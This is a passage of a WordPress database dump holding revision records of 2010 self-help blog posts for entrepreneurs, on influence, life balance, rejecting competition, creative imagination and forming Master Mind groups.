them.</strong>\r\nTo be more influential, be more like the people you want to influence. Talk about things that they care about, show common ground and shared values. Remember that like attracts like. Being perceived by others as a trusted member of the tribe enhances your influence. Of course, in this regard, your actions must speak louder than your words. To be influential with your clients-to-be, there are two questions they need an affirmative answer to:\r\n<h2><span style="color: #808080;">can you solve my problem?</span></h2>\r\n<h2><span style="color: #808080;">do I want to work with you?</span></h2>\r\nThe more common ground you have with your clients-to-be will go a long way towards their answer to the second question–and it will influence their answer to the first. It’s not difficult to be likeable when you are genuine, humble, courteous, respectful and show empathy for others.\r\n\r\n<strong>Pulling is more influential than pushing.</strong>\r\nThere are two ways to influence other people: you can push them, or you can pull them. In a selling situation, nobody wants to be pushed. I believe in this idea so strongly I named my marketing and brand consulting firm <a href="http://www.pullinc.com" target="_blank">PULL</a>.  Pulling implies there is a magical, powerful, attractive and influential force behind your actions. You pull people into your orbit with the gravity of your caring, listening and sharing of ideas that will serve your customer’s success.  Serve another person''s  success and you will be immediately influential to them.\r\n\r\n<strong>Stand on equal ground, and then elevate all others.</strong>\r\nFinally, you are more influential when you stand as an equal with the person you want to influence. You must project an image of confidence and mastery. In selling, this is essential. More importantly, your influence takes a quantum leap when everything you do elevates and inspires the confidence and mastery of other people, particularly your clients. I believe this to be a prerequisite for leadership. Lighting the way for others by your own example is the surest method for influencing the thinking and behavior of others.\r\n<h2><span style="color: #808080;">Of course if none of these principles resonate with you, dust off your old copy of Dale Carnegie’s iconic book and give it a good read.</span></h2>', 'How to master the art of influence.', 0, '', 'inherit', 'open', 'open', '', '871-revision-9', '', '', '2010-06-22 16:13:40', '2010-06-22 23:13:40', '', 871, 'http://www.whitehotcenter.com/2010/06/22/871-revision-9/', 0, 'revision', '', 0),
(986, 2, '2010-06-08 14:20:30', '2010-06-08 21:20:30', '<img class="alignnone size-full wp-image-860" title="spinning plates" src="http://whc.fbdev.org/wp-content/uploads/2010/06/plates1.gif" alt="" width="482" height="417" />\r\n<h2>Part 2 of a 2-Part Series</h2>\r\n<h2>Hopefully you have taken a moment to think about your level of satisfaction in each of the areas of your life. After studying your score, do you see where attention is needed? Of course you do, we all have areas in our life where we have greater and lesser satisfaction. It is my belief that the experience of satisfaction and fulfillment in life, is the result of an inner sense of living in balance.</h2>\r\nBalance produces a sense of wholeness, completeness, peace and inner calm.  You might think of the method for living a balanced life as something akin to the autopilot that flies an airplane. When the autopilot is engaged, the plane is mostly flying off course. The autopilot senses these small, moment-to-moment course deviations (imbalances) and corrects the flight path. This is a subtle movement, and underneath the awareness of the pilots in the plane.  Living life with a sense of balance is a subtle dance. Over the long journey, you’ll guide yourself much like the finely-tuned autopilot, sensing imbalances as they occur in your daily life and correcting them accordingly in real time.\r\n\r\nHere are a few suggestions that will help you be in the frame of mind that will support the discipline required to become fine-tuned to what’s happening around you so you can keep all your plates spinning with ease.\r\n\r\n<strong>Rest and rejuvenate</strong>\r\nYou can’t be a fine-tuned instrument when you are tired. Good ol R&amp;R is an absolute necessity if you are to find balance in your life.  Many entrepreneurs struggle with the idea that rest is more important than activity.  A mind and body well rested is essential for creativity and innovation.\r\n\r\n<strong>Keep a journal</strong>\r\nI have kept this practice going in my own life for over 20 years. I find the simple act of thinking and writing with my hand to be of profound value in helping me keep my sense of balance and proportion in my life. I could not recommend any technique more enthusiastically!  The thing about a journal I like best is how it brings me present with my own thoughts. I can more easily open up to ideas about the who, what, when and how of my life priorities.  Interestingly enough, I never re-read what I write. For me, being in the stream of consciousness is more important than the subject.\r\n\r\n<strong>Spend time alone</strong>\r\nMany people struggle with being by themselves. Many people are constantly in the company of others– colleagues, family, spouse, friends, even crowds. I can tell you with absolute conviction, you will never get a sense of balance in your life until you learn to enjoy spending time with yourself. There are many ways to enjoy your own company–go for a walk, jog, ride a bike, be out in nature, or just sitting quietly at home.\r\n\r\n<strong>Move your body</strong>\r\nYou can’t neglect your biology. You need a vibrant, flexible, healthy body if you are going to be available to live with satisfaction and fulfillment in all the areas of your life. Like anything you do on a regular basis, make exercise a daily habit. It doesn’t take much exercise to reap big rewards. Any exercise that involves physical balance automatically puts the mind in the same state.\r\n\r\n<strong>Pursue your hobbies</strong>\r\nHaving an interest that is outside the realm of “money-making” is vital to life balance. It doesn’t matter what it is, but you must engage in things regularly that bring you pleasure, joy, fun and amusement.\r\n\r\n<strong>Be with your family</strong>\r\nOur families are often taken for granted because we are always involved with family obligations. There is nothing more rewarding than just simply being with our families. It doesn’t matter what you do, just do something meaningful for all.  Go to your kid’s ball game, music recital, have a pot luck with relatives– at the end of the day it’s what we’re all working hard for right?\r\n\r\n<strong>Serve others</strong>\r\nAnytime you are in service to others, you are creating more balance in your own life. The reason is simple–to serve others, the focus is not on you!\r\n\r\n<strong>Everything in moderation</strong>\r\nModeration is just another word for balance. Do everything in moderation–from eating chocolate to developing your next product! If one thing in your life becomes out of sync with the rest of your life, it won’t be long before you are in a state of dis-ease. Over longer periods of time, dis-ease becomes disease.\r\n\r\n<strong>Indeed, for many entrepreneurs (myself included), passion and persistence for building our business is a top priority.  However, business and financial success alone is not enough for you to enjoy the sense of satisfaction and fulfillment that comes from living a balanced life. </strong>', 'Part II-Spinning Plates on a Stick and other Life Tricks ', 0, '', 'inherit', 'open', 'open', '', '859-revision-7', '', '', '2010-06-08 14:20:30', '2010-06-08 21:20:30', '', 859, 'http://www.whitehotcenter.com/2010/06/08/859-revision-7/', 0, 'revision', '', 0),
(987, 2, '2010-06-07 11:35:51', '2010-06-07 18:35:51', '<img class="alignnone size-full wp-image-844" title="plates" src="http://whc.fbdev.org/wp-content/uploads/2010/06/plates.gif" alt="" width="491" height="425" />\r\n<h2>Part 1 of a 2-Part Series</h2>\r\n<h2>Many entrepreneurs and solo professionals express a longing for greater freedom from the bureaucratic structures that seem to envelope them as their business grows. Anyone running a business knows creating success requires a great deal of focused energy. Sometimes your focus can become an obsession.</h2>\r\nMany obsess figuring out ways to build their business, create more income, and have free time to enjoy their success. Many become slaves to the enterprise they create– mostly putting out fires with little quality time for creative thinking, innovation, and rejuvenation. What’s the point of expended all your energy pursuing your business goals if other areas of your life suffer from little or no attention?\r\n\r\nIndeed, managing the complexities inherent in the pursuit of your business goals can suck up the majority of your bandwidth rather quickly–if you allow it. I’d like to suggest you consider your whole life to be a delicate system. All the areas of your life experience are like the cylinders in your car’s engine–everything needs to be firing evenly in all cylinders for you to experience a smooth and efficient ride. It’s pretty difficult to experience freedom and joy “doing what you love” when your relationships, or your health are in disarray. One is no good without the other.\r\n\r\n<strong>Spinning plates.</strong>\r\n\r\nBringing our life more into balance can sometimes seem like spinning plates on the end of a stick. All of them up there at the same time defying gravity with sustained momentum.  Of course, most of us have a few wobbly plates to contend with. Many have even had a couple fall and shatter to pieces. None of us can honestly say we haven’t dropped a few plates in our lives. I certainly have many times! To spin plates successfully, you have to be paying attention to all of them at the same time– and that’s difficult–especially when your attention is focused solely on the most pressing one… say your business for example.\r\n\r\n<strong>Check in with yourself.</strong>\r\n\r\nHere is a simple exercise that will help you check in with yourself to determine your level of satisfaction with the current result you are experiencing in each area of your life. I’d like to suggestion it’s best to do this exercise when you are feeling reflective or introspective because in that frame of mind you’re more likely be honest with yourself.\r\n<h6>Step One:</h6>\r\nOn a piece of paper, simply make a list of these words on the left side:\r\n\r\n<strong>- Geography / Environment\r\n-  Career / Profession\r\n-  Financial\r\n-  Family\r\n-  Personal Relationships\r\n-  Health\r\n-  Avocation\r\n-  Spiritual</strong>\r\n<h6>Step Two:</h6>\r\nThink deeply about your level of satisfaction in each of these areas of your life, and then place a grade on a scale of 1-10 to the right of each item. Your highest satisfaction is a 10, your lowest is a number 1. (Remember to be uncompromisingly honest with yourself).\r\n<h6>Step Three:</h6>\r\n<img class="alignright size-full wp-image-850" title="satisfaction" src="http://whc.fbdev.org/wp-content/uploads/2010/06/satisfaction1.gif" alt="" width="165" height="319" />Make a visual bar graph of your current level of satisfaction. (See my own example) Your lowest scores indicate what areas in your life need more attention from you.  The highest scores are important too! Take a moment to appreciate yourself for the effort it took for you to achieve that higher score!  You might want to ponder what ultimate score you would like to have in each area of your life and set a goal to check in again six months down the road to see if anything is changing in the right direction. Keep your graph handy as a reference.\r\n\r\n<strong>Now pay closer attention.</strong>\r\n\r\nIf you do this simple exercise 2-3 times a year, you’ll be tuned in to your whole life scene in real time. You‘ll find yourself paying closer attention to your whole life, not just one or two areas. If you focus your energy on balance, you’ll begin to experience greater freedom from stress and anxiety that will rob you blind of the energy required to keep it all together in the first place.\r\n\r\nOf course, life is always dynamic and your focus will change accordingly. It’s unrealistic to think one can achieve a state of “balance” and then have balance be static. Life doesn’t live that way.\r\n<h2><span style="color: #808080;">Living in balance is a daily activity, created by the choices you make in each and every moment.</span></h2>\r\nPeople hard-wired for achievement put tremendous mental focus on their aspirations and goals for business and financial success. However, to achieve success in one area of your life at the expense of any other area is no achievement at all.  Your experience of satisfaction and fulfillment in life is determined by the delicate balancing act of shifting priorities of daily life.  No one area can dominate your attention for long before the whole system begins to weaken.\r\n\r\n<strong>In the post to follow, I‘ll offer some suggestions for bringing all the areas of your life into greater balance so you can increase your experience of confidence, satisfaction and fulfillment.</strong>', 'Spinning Plates on a Stick and other Life Tricks ', 0, '', 'inherit', 'open', 'open', '', '845-revision-11', '', '', '2010-06-07 11:35:51', '2010-06-07 18:35:51', '', 845, 'http://www.whitehotcenter.com/2010/06/07/845-revision-11/', 0, 'revision', '', 0);
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(988, 2, '2010-05-25 16:35:48', '2010-05-25 23:35:48', '<h2><img class="alignnone size-full wp-image-841" title="competition" src="http://whc.fbdev.org/wp-content/uploads/2010/05/competition4.gif" alt="" width="460" height="453" /></h2>\r\n<h2>Many of us have been taught to believe competition is a good thing. Competition builds character and strength. Competition insures the survival of the fittest, the strongest, the smartest, the richest, and the most worthy. If you’re not competitive, you’ll lose. This is a corrosive belief.</h2>\r\n<strong>Get rid of the idea of competition. </strong>\r\nCompetition is based on the debilitating premise that you must win and some body else must lose. Competition is the basis of all human misery and division. Competition draws a line between the have and have-nots, the good from the bad, the desired from the undesirable. As an entrepreneur your mission is to create, not compete for what is already created.\r\n\r\nYour success, and all that comes with it, does not mean you take something away from another. You do not win by driving hard bargains, selling at the cheapest price, paying employees or suppliers less than they deserve.  Success secured on the competitive plane is never truly satisfactory, fulfilling, or permanent. It may be yours today, but it will be another’s tomorrow. Your success in business and life has nothing whatsoever to do with your capabilities as a strong competitor.\r\n\r\nYou are a creator– your mission is to create, not compete. Your higher faculties of perception, reason, will, memory, intuition and imagination are the tools you employ to create value for others, not compete with others. To be a creator, you have to get your head around a fundamental counter-intuitive principal:\r\n<h2><span style="color: #808080;"><strong>There is an infinite supply.</strong></span></h2>\r\nThere is no shortage of supply. Everything needed is always available; it’s just not always in a visibly formed state. Ideas come from infinite supply. There’s no shortage of ideas. Everything that ever was, is now, or ever will be, is at first a seed. Ideas are formless thought seeds. Just because ideas lack physical form, does not make them less useful or powerful. Infinite supply is everywhere and in everything–including you and your ideas!\r\n\r\nAs an entrepreneur, you create ideas from the infinite supply that increase life itself.  Your idea seeds, when planted into the ground of your business, spring into activity (all by themselves) and like life itself, produce more seeds (think results). Your ideas, by living in your business, multiply themselves becoming more. Every fact you learn, leads to more learning. Your knowledge is continually increasing. Every talent you possess cultivates more talent in yourself and others. Your business operates on the very principle of all life. Your business, seeking its fuller expression, is compelled to know more, do more and be more. The same energy that compels your desire for business success makes the planet live and grow.\r\n<h2><span style="color: #808080;">When you understand and believe in the principal of infinite supply, you’ll know there is no lack or limitation that requires you to compete for business.</span></h2>\r\nOpportunity is always available everywhere right now.  Remember you drop out of the higher creative plane to the lower competitive plane the very second you think you have it all cornered, or a competitor beat you to it. Never put your focus on the “visible “ supply. Keep your thoughts focused only on your formless ideas and visions for growth. No one else, by controlling the visible supply, can prevent you from creating more value in the world.\r\n\r\n<strong> </strong>\r\n\r\n<strong>As a creative entrepreneur, you don’t seek the success that is possessed by another. Equally so, your success can’t prevent another from becoming successful. </strong>\r\n\r\nYou can learn more about how this principal can work in your business by downloading the free report <em>The White Hot Center Guide to Building a Competition Proof Business</em>. Simply enter your name and email in the subscription form at the top of the the opposite column.', 'If you want to create success, forget about competition.', 0, '', 'inherit', 'open', 'open', '', '824-revision-14', '', '', '2010-05-25 16:35:48', '2010-05-25 23:35:48', '', 824, 'http://www.whitehotcenter.com/2010/05/25/824-revision-14/', 0, 'revision', '', 0),
(989, 2, '2010-07-15 07:54:18', '2010-07-15 14:54:18', '<h2><img class="alignnone size-full wp-image-841" title="competition" src="http://whc.fbdev.org/wp-content/uploads/2010/05/competition4.gif" alt="" width="460" height="453" /></h2>\r\n<h2>Many of us have been taught to believe competition is a good thing. Competition builds character and strength. Competition insures the survival of the fittest, the strongest, the smartest, the richest, and the most worthy. If you’re not competitive, you’ll lose. This is a corrosive belief.</h2>\r\n<strong>Get rid of the idea of competition. </strong>\r\nCompetition is based on the debilitating premise that you must win and some body else must lose. Competition is the basis of all human misery and division. Competition draws a line between the have and have-nots, the good from the bad, the desired from the undesirable. As an entrepreneur your mission is to create, not compete for what is already created.\r\n\r\nYour success, and all that comes with it, does not mean you take something away from another. You do not win by driving hard bargains, selling at the cheapest price, paying employees or suppliers less than they deserve.  Success secured on the competitive plane is never truly satisfactory, fulfilling, or permanent. It may be yours today, but it will be another’s tomorrow. Your success in business and life has nothing whatsoever to do with your capabilities as a strong competitor.\r\n\r\nYou are a creator– your mission is to create, not compete. Your higher faculties of perception, reason, will, memory, intuition and imagination are the tools you employ to create value for others, not compete with others. To be a creator, you have to get your head around a fundamental counter-intuitive principal:\r\n<h2><span style="color: #808080;"><strong>There is an infinite supply.</strong></span></h2>\r\nThere is no shortage of supply. Everything needed is always available; it’s just not always in a visibly formed state. Ideas come from infinite supply. There’s no shortage of ideas. Everything that ever was, is now, or ever will be, is at first a seed. Ideas are formless thought seeds. Just because ideas lack physical form, does not make them less useful or powerful. Infinite supply is everywhere and in everything–including you and your ideas!\r\n\r\nAs an entrepreneur, you create ideas from the infinite supply that increase life itself.  Your idea seeds, when planted into the ground of your business, spring into activity (all by themselves) and like life itself, produce more seeds (think results). Your ideas, by living in your business, multiply themselves becoming more. Every fact you learn, leads to more learning. Your knowledge is continually increasing. Every talent you possess cultivates more talent in yourself and others. Your business operates on the very principle of all life. Your business, seeking its fuller expression, is compelled to know more, do more and be more. The same energy that compels your desire for business success makes the planet live and grow.\r\n<h2><span style="color: #808080;">When you understand and believe in the principal of infinite supply, you’ll know there is no lack or limitation that requires you to compete for business.</span></h2>\r\nOpportunity is always available everywhere right now.  Remember you drop out of the higher creative plane to the lower competitive plane the very second you think you have it all cornered, or a competitor beat you to it. Never put your focus on the “visible “ supply. Keep your thoughts focused only on your formless ideas and visions for growth. No one else, by controlling the visible supply, can prevent you from creating more value in the world.\r\n\r\n<strong> </strong>\r\n\r\n<strong>As a creative entrepreneur, you don’t seek the success that is possessed by another. Equally so, your success can’t prevent another from becoming successful. </strong>\r\n\r\nYou can learn more about how this principal can work in your business by downloading the free report <em>The White Hot Center Guide to Building a Competition Proof Business</em>. Simply enter your name and email in the subscription form at the top of the the opposite column.', 'If you want to create success, forget about competition.', 0, '', 'inherit', 'open', 'open', '', '824-revision-15', '', '', '2010-07-15 07:54:18', '2010-07-15 14:54:18', '', 824, 'http://www.whitehotcenter.com/2010/07/15/824-revision-15/', 0, 'revision', '', 0),
(990, 2, '2010-05-03 15:34:10', '2010-05-03 22:34:10', '<img class="alignnone size-full wp-image-773" title="seeingisbelieving" src="http://whc.fbdev.org/wp-content/uploads/2010/04/seeingisbelieving.gif" alt="" width="467" height="232" />\r\n<h2>It’s my belief all entrepreneurs are completely and totally creative! Entrepreneurs create value where there was previously no value perceived. Now that’s creativity!</h2>\r\nWhen I use the word “creative”, I am not meaning activity exclusively tied to artistic endeavors.  Everything there is, at first, was created in the formless imagination before it became a physical reality. Your business is a creative sandbox for you to play in–that’s why I like to use the term creative business. Naturally as an entrepreneur you are creating everyday to grow your business. You’re creating innovative products or services that add more value to people. You realize that you must create value for others first before new opportunity will come to you in the form of more paying customers.\r\n\r\nThere are two parts to value creation: the inner formless idea in your creative imagination, and its physical manifestation in reality.  If you can create something in your mind, you can experience it in the physical. Your creative imagination is the source of all value innovation in your business.\r\n<h2><span style="color: #808080;">Using your creative imagination is critical to your growth and success.</span></h2>\r\n<strong>Your creative imagination is visual.</strong>\r\nWhen you “see” an idea in your mind’s eye, it is as if you are watching a movie on the screen of your mind.  Your creative imagination is the place where you form mental pictures of things and circumstances that you have not yet experienced. Your ability to develop the skill of using your creative imagination is the most important attribute for creating value for people.  Of course, you need to have a compelling vision of what you want to create in your business. When you visualize an idea, what you are really doing is accessing the rich resources of your sub-conscious mind. When you believe an idea is possible – you will see it!\r\n\r\n<strong>Daydreaming is a powerful tool for innovation.</strong>\r\nTo be effective at tapping into the creative power of your sub-conscious, you must create a space in your conscious mind. There are many techniques for doing this, but the one I find most useful is daydreaming. Let your mind go–play aimlessly with your ideas without self-judgment. Let an idea take its own form in your mind without you trying to force it into form, or aligning its value to conventional wisdom. Play! If you can allow yourself time to daydream, you’ll be inspired and feel as though you’re being guided to see opportunity where others may not.\r\n\r\n<strong>Intuition is the white hot center of your creative power.</strong>\r\nIntuition can best be described as your inner wisdom and understanding unrelated to experience or reasoning.  Intuition can be compared to a “sixth sense”, an ability to know instinctively what course of action is best to embark on.  Intuition is the guide of your creative imagination. Can you learn to more effectively use your intuitive powers? Absolutely! Intuition is not a special talent or gift that only the lucky few possess.\r\n\r\nBefore you can use your natural intuitive gift for innovation, you have to trust it!  This might explain why some people seem to attract more opportunity than others. These are the people who trust their gut and simply go with it. If you want to tap into game changing ideas for creating value for people, you have to trust your intuition.  Think about this– your intuition led you to choose to be an entrepreneur right?  Apple founder, Steve Jobs describes the process of innovation as “putting a dent in the universe”. Your intuition will lead your creative imagination to your best ideas–just get out of your own way and let it be so.\r\n<h2><span style="color: #808080;">Creative ideas don’t have to be original or perfect. Nothing impedes progress more than the pursuit of perfection.</span></h2>\r\nMany entrepreneurs put undue pressure on themselves to develop original  ideas. In my experience, there is nothing new under the sun. Every  ground-breaking innovation that ever was came as a result of what came  before it.  For example, someone invented windshield wipers because  people wanted to drive their car in the rain. Then a few years later,  someone had the idea that intermittent wiper blades would be a better  solution. Many times useful ideas are incremental.  You don’t have to  create a revolution to create value.\r\n\r\nMany entrepreneurs also worry needlessly that they haven’t perfected their ideas. No idea is ever perfect. When you have an idea, go ahead and build a prototype or two, tinker with it and experiment with what works, make refinements as necessary, but by all means get it out there!  You can always improve on a good idea. Let the market help you improve it. Originality and perfection, in my  opinion, are overrated and often get in the way of  innovation and value  creation.\r\n\r\n<strong>Here are some suggestions you may want to daydream about in your creative imagination: </strong>\r\n\r\n<span style="color: #ff6600;"><strong> Identify opportunities in the market that you have not noticed before.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover profitable niche markets where your capabilities can serve people better.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover innovative ways to position yourself and your company as the recognized expert and specialist in your particular field.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Discover new customer applications for your products or services.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Create a distinctive brand identity and packaging for your products and services that differentiate you from your competitors.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Create compelling marketing ideas to dramatize the use of your product or service.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong> Provide innovative solutions to problems your customers experience by approaching them from an entirely new and different perspective.</strong></span>', 'Use your creative imagination to drive innovation.', 0, '', 'inherit', 'open', 'open', '', '772-revision-12', '', '', '2010-05-03 15:34:10', '2010-05-03 22:34:10', '', 772, 'http://www.whitehotcenter.com/2010/05/03/772-revision-12/', 0, 'revision', '', 0),
(991, 2, '2010-07-15 08:01:30', '2010-07-15 15:01:30', '<img class="alignnone size-full wp-image-729" title="brain" src="http://whc.fbdev.org/wp-content/uploads/2010/04/brain1.gif" alt="brain" width="490" height="396" />\n<h2>Ok, let’s assume you have a forward thinking vision for where you want to take your business and your whole life. You’re smart, disciplined, and highly focused. You have your vision written out in exquisite detail and you read it daily.  You take measurable actions each day toward your goals. You’re doing things right. Hopefully you’re not doing the right things alone.  If you are, you must multiply your brain power! You must create a Master Mind Alliance.</h2>\nEarly 20<sup>th</sup> century author <a href="http://en.wikipedia.org/wiki/Napoleon_Hill" target="_blank">Napolean Hill</a> defines the Master Mind as “the coordination of knowledge and effort, in a spirit of harmony, between two or more people for the attainment of a definite purpose”.  He goes on to say ”no individual may have great power without utilizing the Master Mind”. In other words you can’t get there by yourself. You need more than one brain–no matter how smart you think yours is.\n\nI must confess that this is an area in my business life where I have been challenged. So much of my life I have been going it alone. Early on, I bought into the common belief if you’re going get anywhere in life, you’re going have to do it yourself.  Nobody’s going to do it for you.  True enough, but even the Lone Ranger had Tonto to get him out of some tight jams.  The world moves too fast for one brain. We need collaborators that share our passion as if it were their own.\n\n<strong>Battery Power / Brain Power</strong>\n\nIt’s common knowledge when you take a collection of batteries and link them together, they will produce far more energy than a single battery.  Brains operate the same way. Take a bunch of brains, put them together in a room and they will collectively produce more thought energy than a single brain. More importantly, the added energy produced collectively is available to all individually.  The smartest person in the room is the one surrounded by several other smart people!  The big ideas swim in a deep idea pool!\n\nIf you require a force-multiplier to achieve your goals, there is none better than a Master Mind Alliance with others whose capabilities, contacts, knowledge, talent and skill can be harnessed on your behalf.  Your results become quantum leaps fueled by the collective brain power of your Master Mind Alliance.  Conversely, your participation and contributions to the group serves the good of the other members. This increases your own personal sense of value as you contribute to success of others. Everybody has to win!\n\n<strong>How to assemble your Master Mind Alliance.</strong>\n\n<span style="color: #ff6600;"><strong>clearly know your chief purpose. That focuses the lens on the kind and type of people to invite to join your alliance. Keep it around 8-10 members tops!</strong></span>\n\n<span style="color: #ff6600;"><strong>be razor sharp clear about what rewards, advantages and benefits you will offer your members in return for their contributions. Every one must agree on this understanding from day one.</strong></span>\n\n<span style="color: #ff6600;"><strong>don’t select people just because you like them. Choose people who not only share your vision, but will let you use their knowledge as if it were your own. It’s best to select people that have already achieved some level of success you are aspiring to reach yourself. These people can light the way for you.</strong></span>\n\n<span style="color: #ff6600;"><strong>meet as often as is useful for all. (The good news is you can all meet virtually anywhere and at anytime thanks to the internet).</strong></span>\n\n<span style="color: #ff6600;"><strong>at all times, there must be honesty, trust, respect, authenticity, integrity and cooperation in equal measure among all members of the alliance</strong></span>.\n<h2><span style="color: #808080;">The important idea behind the Master Mind is that you begin to surround yourself with people you respect and admire, and in whose success you are equally invested. </span></h2>\nOf course things will change. Along the way your circumstances may require you amend the members of your group. This is perfectly fine. Just as it is possible, other members may withdraw themselves from your group for their own reasons.  As you grow, you’ll find yourself scaling up your Master Mind Alliance to keep pace with your business.\n\nAs you begin to recruit your members, don’t be discouraged if you’re turned down by people you would love to have in your group. Afterall, the only people you really want are the people who really want to participate with you. Be clear and honest about your mission, and what’s in it for them in exchange for their contribution.  Keep yourself in the positive frame of mind that attracts the very brightest members to help you accomplish your mission.\n\n<strong>If you have a group in place, please share what makes your Master Mind group an effective tool for all concerned.</strong>', 'How to multiply your brain!', 0, '', 'inherit', 'open', 'open', '', '725-autosave', '', '', '2010-07-15 08:01:30', '2010-07-15 15:01:30', '', 725, 'http://www.whitehotcenter.com/2010/07/15/725-autosave/', 0, 'revision', '', 0),
(992, 2, '2010-04-13 12:18:55', '2010-04-13 19:18:55', '<img class="alignnone size-full wp-image-729" title="brain" src="http://whc.fbdev.org/wp-content/uploads/2010/04/brain1.gif" alt="brain" width="490" height="396" />\r\n<h2>Ok, let’s assume you have a forward thinking vision for where you want to take your business and your whole life. You’re smart, disciplined, and highly focused. You have your vision written out in exquisite detail and you read it daily.  You take measurable actions each day toward your goals. You’re doing things right. Hopefully you’re not doing the right things alone.  If you are, you must multiply your brain power! You must create a Master Mind Alliance.</h2>\r\nEarly 20<sup>th</sup> century author <a href="http://en.wikipedia.org/wiki/Napoleon_Hill" target="_blank">Napolean Hill</a> defines the Master Mind as “the coordination of knowledge and effort, in a spirit of harmony, between two or more people for the attainment of a definite purpose”.  He goes on to say ”no individual may have great power without utilizing the Master Mind”. In other words you can’t get there by yourself. You need more than one brain–no matter how smart you think yours is.\r\n\r\nI must confess that this is an area in my business life where I have been challenged. So much of my life I have been going it alone. Early on, I bought into the common belief if you’re going get anywhere in life, you’re going have to do it yourself.  Nobody’s going to do it for you.  True enough, but even the Lone Ranger had Tonto to get him out of some tight jams.  The world moves too fast for one brain. We need collaborators that share our passion as if it were their own.\r\n\r\n<strong>Battery Power / Brain Power</strong>\r\n\r\nIt’s common knowledge when you take a collection of batteries and link them together, they will produce far more energy than a single battery.  Brains operate the same way. Take a bunch of brains, put them together in a room and they will collectively produce more thought energy than a single brain. More importantly, the added energy produced collectively is available to all individually.  The smartest person in the room is the one surrounded by several other smart people!  The big ideas swim in a deep idea pool!\r\n\r\nIf you require a force-multiplier to achieve your goals, there is none better than a Master Mind Alliance with others whose capabilities, contacts, knowledge, talent and skill can be harnessed on your behalf.  Your results become quantum leaps fueled by the collective brain power of your Master Mind Alliance.  Conversely, your participation and contributions to the group serves the good of the other members. This increases your own personal sense of value as you contribute to success of others. Everybody has to win!\r\n\r\n<strong>How to assemble your Master Mind Alliance.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>clearly know your chief purpose. That focuses the lens on the kind and type of people to invite to join your alliance. Keep it around 8-10 members tops!</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>be razor sharp clear about what rewards, advantages and benefits you will offer your members in return for their contributions. Every one must agree on this understanding from day one.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>don’t select people just because you like them. Choose people who not only share your vision, but will let you use their knowledge as if it were your own. It’s best to select people that have already achieved some level of success you are aspiring to reach yourself. These people can light the way for you.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>meet as often as is useful for all. (The good news is you can all meet virtually anywhere and at anytime thanks to the internet).</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>at all times, there must be honesty, trust, respect, authenticity, integrity and cooperation in equal measure among all members of the alliance</strong></span>.\r\n<h2><span style="color: #808080;">The important idea behind the Master Mind is that you begin to surround yourself with people you respect and admire, and in whose success you are equally invested. </span></h2>\r\nOf course things will change. Along the way your circumstances may require you amend the members of your group. This is perfectly fine. Just as it is possible, other members may withdraw themselves from your group for their own reasons.  As you grow, you’ll find yourself scaling up your Master Mind Alliance to keep pace with your business.\r\n\r\nAs you begin to recruit your members, don’t be discouraged if you’re turned down by people you would love to have in your group. Afterall, the only people you really want are the people who really want to participate with you. Be clear and honest about your mission, and what’s in it for them in exchange for their contribution.  Keep yourself in the positive frame of mind that attracts the very brightest members to help you accomplish your mission.\r\n\r\n<strong>If you have a group in place, please share what makes your Master Mind group an effective tool for all concerned.</strong>', 'How to multiply your brain!', 0, '', 'inherit', 'open', 'open', '', '725-revision-7', '', '', '2010-04-13 12:18:55', '2010-04-13 19:18:55', '', 725, 'http://www.whitehotcenter.com/2010/04/13/725-revision-7/', 0, 'revision', '', 0),
(993, 2, '2010-07-15 08:00:24', '2010-07-15 15:00:24', '<img class="alignnone size-full wp-image-729" title="brain" src="http://whc.fbdev.org/wp-content/uploads/2010/04/brain1.gif" alt="brain" width="490" height="396" />\r\n<h2>Ok, let’s assume you have a forward thinking vision for where you want to take your business and your whole life. You’re smart, disciplined, and highly focused. You have your vision written out in exquisite detail and you read it daily.  You take measurable actions each day toward your goals. You’re doing things right. Hopefully you’re not doing the right things alone.  If you are, you must multiply your brain power! You must create a Master Mind Alliance.</h2>\r\nEarly 20<sup>th</sup> century author <a href="http://en.wikipedia.org/wiki/Napoleon_Hill" target="_blank">Napolean Hill</a> defines the Master Mind as “the coordination of knowledge and effort, in a spirit of harmony, between two or more people for the attainment of a definite purpose”.  He goes on to say ”no individual may have great power without utilizing the Master Mind”. In other words you can’t get there by yourself. You need more than one brain–no matter how smart you think yours is.\r\n\r\nI must confess that this is an area in my business life where I have been challenged. So much of my life I have been going it alone. Early on, I bought into the common belief if you’re going get anywhere in life, you’re going have to do it yourself.  Nobody’s going to do it for you.  True enough, but even the Lone Ranger had Tonto to get him out of some tight jams.  The world moves too fast for one brain. We need collaborators that share our passion as if it were their own.\r\n\r\n<strong>Battery Power / Brain Power</strong>\r\n\r\nIt’s common knowledge when you take a collection of batteries and link them together, they will produce far more energy than a single battery.  Brains operate the same way. Take a bunch of brains, put them together in a room and they will collectively produce more thought energy than a single brain. More importantly, the added energy produced collectively is available to all individually.  The smartest person in the room is the one surrounded by several other smart people!  The big ideas swim in a deep idea pool!\r\n\r\nIf you require a force-multiplier to achieve your goals, there is none better than a Master Mind Alliance with others whose capabilities, contacts, knowledge, talent and skill can be harnessed on your behalf.  Your results become quantum leaps fueled by the collective brain power of your Master Mind Alliance.  Conversely, your participation and contributions to the group serves the good of the other members. This increases your own personal sense of value as you contribute to success of others. Everybody has to win!\r\n\r\n<strong>How to assemble your Master Mind Alliance.</strong>\r\n\r\n<span style="color: #ff6600;"><strong>clearly know your chief purpose. That focuses the lens on the kind and type of people to invite to join your alliance. Keep it around 8-10 members tops!</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>be razor sharp clear about what rewards, advantages and benefits you will offer your members in return for their contributions. Every one must agree on this understanding from day one.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>don’t select people just because you like them. Choose people who not only share your vision, but will let you use their knowledge as if it were your own. It’s best to select people that have already achieved some level of success you are aspiring to reach yourself. These people can light the way for you.</strong></span>\r\n\r\n<span style="color: #ff6600;"><strong>meet as often as is useful for all. (The good news is you can all meet virtually anywhere and at anytime thanks to the internet).</strong></span>\r\n\r\n<span style="color: 